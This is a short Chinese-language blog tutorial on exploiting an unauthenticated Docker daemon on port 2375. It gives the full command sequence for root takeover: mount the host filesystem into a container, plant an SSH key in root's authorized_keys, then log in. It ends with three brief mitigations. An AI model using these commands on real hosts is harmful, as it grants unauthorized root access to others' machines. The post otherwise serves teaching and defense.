docker未经授权访问漏洞利用

简介

上次说了redis的未经授权访问漏洞去获取主机权限,但是那个成功率试过的人都知道,不高,现在说下docker的

关于docker的一些基础

大家都知道docker是c/s架构的,所以docker的server端就是docker daemon,一般来说默认docker使用unix socket去连接他的daemon,但是如果你想远程去访问docker daemon的话那就需要使用tcp socket的方式去连接docker daemon,也就是网上常说的,在dockerd启动的时候加上参数-H tcp://0.0.0.0:2375

这样你就可以在本地直接访问docker -H 你的主机ip ps -a,因为你可以在本地访问,所以别人也可以在他的本地访问,只要没有网络上的隔离,这个时候就产生了未经授权访问漏洞

漏洞利用

首先找到一台开了2375端口的主机,之后生成一个ssh秘钥

ssh-keygen

接着在远程主机上启动一个容器

docker -H 被攻击主机ip run --cap-add LINUX_IMMUTABLE -it -v /:/data busybox sh

之后在下面的文件中把你的公钥写入进去

vi /data/root/.ssh/authorized_keys

这样你就可以直接登录这台机器了

ssh [email protected]被攻击主机ip

漏洞预防

三种方式

  1. 不开端口

  2. 使用tls验证访问

  3. 在网络上做到隔离

欢迎关注Bboysoul的博客www.bboy.app

Have Fun

欢迎关注我的其它发布渠道